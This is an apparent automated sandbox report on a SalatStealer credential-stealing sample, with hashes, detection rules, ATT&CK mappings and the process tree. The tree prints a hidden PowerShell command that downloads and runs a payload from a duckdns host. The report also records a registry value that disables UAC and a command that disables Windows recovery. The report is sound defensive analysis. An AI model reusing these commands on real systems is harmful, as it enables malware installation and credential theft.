salatstealer | 2114ae18dde58029481575c9c9728c03a87c6ac68b51f97ca714535d262793c1

Analysis

max time kernel
148s
max time network
156s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/08/2026, 01:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-22_b9a8bcbe72ebe236e5a844d2c5599f02_cobalt-strike_icedid_njrat.exe
Size 228KB
Sample260823-b4fvlaha46
SHA256 2114ae18dde58029481575c9c9728c03a87c6ac68b51f97ca714535d262793c1
MD5 b9a8bcbe72ebe236e5a844d2c5599f02
SHA1 f3ee2cdd77a03228140789c6ddad9712035420fe
SHA512 0da4419a5ae6ed7b6079bc19df55cc3de7c33a91b505cb443da065fbac168361c30fe6b4e4e0f8cb44908e3176a985ce89ddaed36c9c9c26170e5b57f2c09800
SSDEEP 6144:r574uzTvLjLWy4R4b3QggIkSQAXozZPm:3niyo/XIkEX
TLSH
T18D349E5773A524F9E1778238C9A21A06F772B83517709B9F0750437A9F632E0AD3EB21
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution salatstealer spyware stealer trojan upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://kfkfkslsld.duckdns.org:54321/a3f9k2m8x1/d/stub.exe

Signatures

Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer

Detect SalatStealer payload 15 IoCs

resource	yara_rule
behavioral2/memory/5540-32-0x0000000000D50000-0x00000000019A6000-memory.dmp	family_salatstealer
behavioral2/memory/5540-33-0x0000000000D50000-0x00000000019A6000-memory.dmp	family_salatstealer
behavioral2/memory/5540-49-0x0000000000D50000-0x00000000019A6000-memory.dmp	family_salatstealer
behavioral2/memory/1512-50-0x00000000006B0000-0x0000000001306000-memory.dmp	family_salatstealer
behavioral2/memory/1512-51-0x00000000006B0000-0x0000000001306000-memory.dmp	family_salatstealer
behavioral2/memory/1512-52-0x00000000006B0000-0x0000000001306000-memory.dmp	family_salatstealer
behavioral2/memory/1628-70-0x00000000000D0000-0x0000000000D26000-memory.dmp	family_salatstealer
behavioral2/memory/1512-89-0x00000000006B0000-0x0000000001306000-memory.dmp	family_salatstealer
behavioral2/memory/1512-90-0x00000000006B0000-0x0000000001306000-memory.dmp	family_salatstealer
behavioral2/memory/1512-92-0x00000000006B0000-0x0000000001306000-memory.dmp	family_salatstealer
behavioral2/memory/1512-93-0x00000000006B0000-0x0000000001306000-memory.dmp	family_salatstealer
behavioral2/memory/1512-94-0x00000000006B0000-0x0000000001306000-memory.dmp	family_salatstealer
behavioral2/memory/1512-98-0x00000000006B0000-0x0000000001306000-memory.dmp	family_salatstealer
behavioral2/memory/1512-99-0x00000000006B0000-0x0000000001306000-memory.dmp	family_salatstealer
behavioral2/memory/1512-102-0x00000000006B0000-0x0000000001306000-memory.dmp	family_salatstealer

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 15 IoCs

resource	yara_rule
behavioral2/memory/5540-32-0x0000000000D50000-0x00000000019A6000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/5540-33-0x0000000000D50000-0x00000000019A6000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/5540-49-0x0000000000D50000-0x00000000019A6000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1512-50-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1512-51-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1512-52-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1628-70-0x00000000000D0000-0x0000000000D26000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1512-89-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1512-90-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1512-92-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1512-93-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1512-94-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1512-98-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1512-99-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1512-102-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 15 IoCs

resource	yara_rule
behavioral2/memory/5540-32-0x0000000000D50000-0x00000000019A6000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/5540-33-0x0000000000D50000-0x00000000019A6000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/5540-49-0x0000000000D50000-0x00000000019A6000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1512-50-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1512-51-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1512-52-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1628-70-0x00000000000D0000-0x0000000000D26000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1512-89-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1512-90-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1512-92-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1512-93-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1512-94-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1512-98-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1512-99-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1512-102-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 15 IoCs

resource	yara_rule
behavioral2/memory/5540-32-0x0000000000D50000-0x00000000019A6000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/5540-33-0x0000000000D50000-0x00000000019A6000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/5540-49-0x0000000000D50000-0x00000000019A6000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1512-50-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1512-51-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1512-52-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1628-70-0x00000000000D0000-0x0000000000D26000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1512-89-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1512-90-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1512-92-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1512-93-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1512-94-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1512-98-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1512-99-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1512-102-0x00000000006B0000-0x0000000001306000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

UPX dump on OEP (original entry point) 19 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c4a8-24.dat	UPX
behavioral2/memory/5540-31-0x0000000000D50000-0x00000000019A6000-memory.dmp	UPX
behavioral2/memory/5540-32-0x0000000000D50000-0x00000000019A6000-memory.dmp	UPX
behavioral2/memory/5540-33-0x0000000000D50000-0x00000000019A6000-memory.dmp	UPX
behavioral2/memory/1512-48-0x00000000006B0000-0x0000000001306000-memory.dmp	UPX
behavioral2/memory/5540-49-0x0000000000D50000-0x00000000019A6000-memory.dmp	UPX
behavioral2/memory/1512-50-0x00000000006B0000-0x0000000001306000-memory.dmp	UPX
behavioral2/memory/1512-51-0x00000000006B0000-0x0000000001306000-memory.dmp	UPX
behavioral2/memory/1512-52-0x00000000006B0000-0x0000000001306000-memory.dmp	UPX
behavioral2/memory/1628-68-0x00000000000D0000-0x0000000000D26000-memory.dmp	UPX
behavioral2/memory/1628-70-0x00000000000D0000-0x0000000000D26000-memory.dmp	UPX
behavioral2/memory/1512-89-0x00000000006B0000-0x0000000001306000-memory.dmp	UPX
behavioral2/memory/1512-90-0x00000000006B0000-0x0000000001306000-memory.dmp	UPX
behavioral2/memory/1512-92-0x00000000006B0000-0x0000000001306000-memory.dmp	UPX
behavioral2/memory/1512-93-0x00000000006B0000-0x0000000001306000-memory.dmp	UPX
behavioral2/memory/1512-94-0x00000000006B0000-0x0000000001306000-memory.dmp	UPX
behavioral2/memory/1512-98-0x00000000006B0000-0x0000000001306000-memory.dmp	UPX
behavioral2/memory/1512-99-0x00000000006B0000-0x0000000001306000-memory.dmp	UPX
behavioral2/memory/1512-102-0x00000000006B0000-0x0000000001306000-memory.dmp	UPX

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
34	3968	powershell.exe
35	3968	powershell.exe
35	3968	powershell.exe
36	3968	powershell.exe
37	3968	powershell.exe
38	3968	powershell.exe
39	4200	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4200	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
10	3436	2026-08-22_b9a8bcbe72ebe236e5a844d2c5599f02_cobalt-strike_icedid_njrat.exe

Executes dropped EXE 3 IoCs

pid	Process
5540	Updater.exe
1512	SearchHost.exe
1628	SearchHost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
10	raw.githubusercontent.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\SysWOW64\Recovery\ReAgent.xml	ReAgentc.exe

UPX packed file 19 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c4a8-24.dat	upx
behavioral2/memory/5540-31-0x0000000000D50000-0x00000000019A6000-memory.dmp	upx
behavioral2/memory/5540-32-0x0000000000D50000-0x00000000019A6000-memory.dmp	upx
behavioral2/memory/5540-33-0x0000000000D50000-0x00000000019A6000-memory.dmp	upx
behavioral2/memory/1512-48-0x00000000006B0000-0x0000000001306000-memory.dmp	upx
behavioral2/memory/5540-49-0x0000000000D50000-0x00000000019A6000-memory.dmp	upx
behavioral2/memory/1512-50-0x00000000006B0000-0x0000000001306000-memory.dmp	upx
behavioral2/memory/1512-51-0x00000000006B0000-0x0000000001306000-memory.dmp	upx
behavioral2/memory/1512-52-0x00000000006B0000-0x0000000001306000-memory.dmp	upx
behavioral2/memory/1628-68-0x00000000000D0000-0x0000000000D26000-memory.dmp	upx
behavioral2/memory/1628-70-0x00000000000D0000-0x0000000000D26000-memory.dmp	upx
behavioral2/memory/1512-89-0x00000000006B0000-0x0000000001306000-memory.dmp	upx
behavioral2/memory/1512-90-0x00000000006B0000-0x0000000001306000-memory.dmp	upx
behavioral2/memory/1512-92-0x00000000006B0000-0x0000000001306000-memory.dmp	upx
behavioral2/memory/1512-93-0x00000000006B0000-0x0000000001306000-memory.dmp	upx
behavioral2/memory/1512-94-0x00000000006B0000-0x0000000001306000-memory.dmp	upx
behavioral2/memory/1512-98-0x00000000006B0000-0x0000000001306000-memory.dmp	upx
behavioral2/memory/1512-99-0x00000000006B0000-0x0000000001306000-memory.dmp	upx
behavioral2/memory/1512-102-0x00000000006B0000-0x0000000001306000-memory.dmp	upx

Drops file in Program Files directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft\ad7ca8b3-f379-de87-8b5e-4c51d48bb3f3	Updater.exe
File opened for modification	C:\Program Files (x86)\Microsoft\wininit.exe	Updater.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\ad7ca8b3-f379-de87-8b5e-4c51d48bb3f3	Updater.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\SearchHost.exe	Updater.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SearchHost.exe	SearchHost.exe
File opened for modification	C:\Program Files (x86)\Adobe\ad7ca8b3-f379-de87-8b5e-4c51d48bb3f3	Updater.exe
File opened for modification	C:\Program Files (x86)\Adobe\lsass.exe	Updater.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SearchHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReAgentc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SearchHost.exe

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
5540	Updater.exe
5540	Updater.exe
5540	Updater.exe
5540	Updater.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
3968	powershell.exe
3968	powershell.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
1512	SearchHost.exe
4200	powershell.exe
4200	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1512	SearchHost.exe
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeIncreaseQuotaPrivilege	3968	powershell.exe
Token: SeSecurityPrivilege	3968	powershell.exe
Token: SeTakeOwnershipPrivilege	3968	powershell.exe
Token: SeLoadDriverPrivilege	3968	powershell.exe
Token: SeSystemProfilePrivilege	3968	powershell.exe
Token: SeSystemtimePrivilege	3968	powershell.exe
Token: SeProfSingleProcessPrivilege	3968	powershell.exe
Token: SeIncBasePriorityPrivilege	3968	powershell.exe
Token: SeCreatePagefilePrivilege	3968	powershell.exe
Token: SeBackupPrivilege	3968	powershell.exe
Token: SeRestorePrivilege	3968	powershell.exe
Token: SeShutdownPrivilege	3968	powershell.exe
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeSystemEnvironmentPrivilege	3968	powershell.exe
Token: SeRemoteShutdownPrivilege	3968	powershell.exe
Token: SeUndockPrivilege	3968	powershell.exe
Token: SeManageVolumePrivilege	3968	powershell.exe
Token: 33	3968	powershell.exe
Token: 34	3968	powershell.exe
Token: 35	3968	powershell.exe
Token: 36	3968	powershell.exe
Token: SeIncreaseQuotaPrivilege	3968	powershell.exe
Token: SeSecurityPrivilege	3968	powershell.exe
Token: SeTakeOwnershipPrivilege	3968	powershell.exe
Token: SeLoadDriverPrivilege	3968	powershell.exe
Token: SeSystemProfilePrivilege	3968	powershell.exe
Token: SeSystemtimePrivilege	3968	powershell.exe
Token: SeProfSingleProcessPrivilege	3968	powershell.exe
Token: SeIncBasePriorityPrivilege	3968	powershell.exe
Token: SeCreatePagefilePrivilege	3968	powershell.exe
Token: SeBackupPrivilege	3968	powershell.exe
Token: SeRestorePrivilege	3968	powershell.exe
Token: SeShutdownPrivilege	3968	powershell.exe
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeSystemEnvironmentPrivilege	3968	powershell.exe
Token: SeRemoteShutdownPrivilege	3968	powershell.exe
Token: SeUndockPrivilege	3968	powershell.exe
Token: SeManageVolumePrivilege	3968	powershell.exe
Token: 33	3968	powershell.exe
Token: 34	3968	powershell.exe
Token: 35	3968	powershell.exe
Token: 36	3968	powershell.exe
Token: SeIncreaseQuotaPrivilege	3968	powershell.exe
Token: SeSecurityPrivilege	3968	powershell.exe
Token: SeTakeOwnershipPrivilege	3968	powershell.exe
Token: SeLoadDriverPrivilege	3968	powershell.exe
Token: SeSystemProfilePrivilege	3968	powershell.exe
Token: SeSystemtimePrivilege	3968	powershell.exe
Token: SeProfSingleProcessPrivilege	3968	powershell.exe
Token: SeIncBasePriorityPrivilege	3968	powershell.exe
Token: SeCreatePagefilePrivilege	3968	powershell.exe
Token: SeBackupPrivilege	3968	powershell.exe
Token: SeRestorePrivilege	3968	powershell.exe
Token: SeShutdownPrivilege	3968	powershell.exe
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeSystemEnvironmentPrivilege	3968	powershell.exe
Token: SeRemoteShutdownPrivilege	3968	powershell.exe
Token: SeUndockPrivilege	3968	powershell.exe
Token: SeManageVolumePrivilege	3968	powershell.exe
Token: 33	3968	powershell.exe
Token: 34	3968	powershell.exe
Token: 35	3968	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3436 wrote to memory of 5540	3436	2026-08-22_b9a8bcbe72ebe236e5a844d2c5599f02_cobalt-strike_icedid_njrat.exe	88
PID 5540 wrote to memory of 1512	5540	Updater.exe	91
PID 1512 wrote to memory of 3968	1512	SearchHost.exe	92
PID 1512 wrote to memory of 1628	1512	SearchHost.exe	94
PID 3968 wrote to memory of 3864	3968	powershell.exe	97
PID 3968 wrote to memory of 4200	3968	powershell.exe	99

C:\Users\Admin\AppData\Local\Temp\2026-08-22_b9a8bcbe72ebe236e5a844d2c5599f02_cobalt-strike_icedid_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-22_b9a8bcbe72ebe236e5a844d2c5599f02_cobalt-strike_icedid_njrat.exe"
1⤵
- Downloads MZ/PE file
- Suspicious use of WriteProcessMemory
PID:3436
- C:\Users\Admin\AppData\Roaming\Updater.exe
  "C:\Users\Admin\AppData\Roaming\Updater.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5540
- - C:\Program Files (x86)\Windows Mail\SearchHost.exe
    "C:\Program Files (x86)\Windows Mail\SearchHost.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1512
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe
      4⤵
      UAC bypass
      Badlisted process makes network request
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3968
    - - C:\Windows\SysWOW64\ReAgentc.exe
        
        "C:\Windows\system32\ReAgentc.exe" /disable
        5⤵
        Drops file in System32 directory
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3864
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c "(New-Object Net.WebClient).DownloadFile('http://kfkfkslsld.duckdns.org:54321/a3f9k2m8x1/d/stub.exe',[System.IO.Path]::GetTempPath()+'svchost32.exe');Start-Process ([System.IO.Path]::GetTempPath()+'svchost32.exe')"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4200
  - - C:\Program Files (x86)\Microsoft\Edge\Application\SearchHost.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\SearchHost.exe" -
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1628

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:5028

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 63KB
SHA256 45d791a99f9c74c74ebe382ad752ccc539c8e8b05bffc443e8ac6dbc0a4e3075
MD5 5a9854482bf396affaa150ef099d2135
SHA1 aaac1bca42bd96b87f03e383acab3d22c50d5b0d
SHA512 a6d6a2f561de6e0a85dc33a5ed4fd5fa14f4944e7fe4ead14a69aba00475b7b0dcb682c926e632c8e0cb410c97e479ac4f1a9174f5f4a3ac4e533e7961eafac7
SSDEEP 1536:NtdKYo2hqHMBfKQVCYjflJdCHYyh4iUxPR40i71YiyyPUOdBcV3CNBQkj2Ya5eD3:NvKYo2hqHMBfKQVCYjflJdwYyqiUPRC5
TLSH
T1015374D2E9204E75E1A66F3EF15622627C34394690F8113212DC25EFA987993071F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_wkgcpdk4.bzm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wkgcpdk4.bzm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Updater.exe

Path C:\Users\Admin\AppData\Roaming\Updater.exe
Size 3.4MB
SHA256 0868c177ba1a4657b732cb6d06d05b5aed231b17931bd31701bdceda86f37f0e
MD5 18f0685f7697e94a51cbe5b1558ec28d
SHA1 d244974f4d34c4c53bce69b706098b5499aba517
SHA512 44ec76830be6f2b1b4b06b4463141383dd73b6a9a5c180e69ba85ce1f009967b226ecd2806cc34454b4aa3b9cfce39f9019278593f84f436e82142213ca2ddce
SSDEEP 98304:9F8nSYl3CG8TZ3wFvJ9i1BDoCKHUvSIk028T/:9FgJY7t3gCHUCK+SIkS
TLSH
T13DF533668025C9DDD8F760350EC7712B20965CFBA636CD7BA03C667F44F2986A8533B2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1512-52-0x00000000006B0000-0x0000000001306000-memory.dmp

Download

memory/1512-94-0x00000000006B0000-0x0000000001306000-memory.dmp

Download

memory/1512-98-0x00000000006B0000-0x0000000001306000-memory.dmp

Download

memory/1512-50-0x00000000006B0000-0x0000000001306000-memory.dmp

Download

memory/1512-51-0x00000000006B0000-0x0000000001306000-memory.dmp

Download

memory/1512-102-0x00000000006B0000-0x0000000001306000-memory.dmp

Download

memory/1512-99-0x00000000006B0000-0x0000000001306000-memory.dmp

Download

memory/1512-48-0x00000000006B0000-0x0000000001306000-memory.dmp

Download

memory/1512-93-0x00000000006B0000-0x0000000001306000-memory.dmp

Download

memory/1512-92-0x00000000006B0000-0x0000000001306000-memory.dmp

Download

memory/1512-90-0x00000000006B0000-0x0000000001306000-memory.dmp

Download

memory/1512-89-0x00000000006B0000-0x0000000001306000-memory.dmp

Download

memory/1628-68-0x00000000000D0000-0x0000000000D26000-memory.dmp

Download

memory/1628-70-0x00000000000D0000-0x0000000000D26000-memory.dmp

Download

memory/3968-72-0x0000000007760000-0x0000000007796000-memory.dmp

Download

memory/3968-82-0x0000000007A20000-0x0000000007AB6000-memory.dmp

Download

memory/3968-71-0x0000000006900000-0x0000000006948000-memory.dmp

Download

memory/3968-61-0x0000000005FC0000-0x0000000005FDE000-memory.dmp

Download

memory/3968-73-0x0000000070350000-0x000000007039C000-memory.dmp

Download

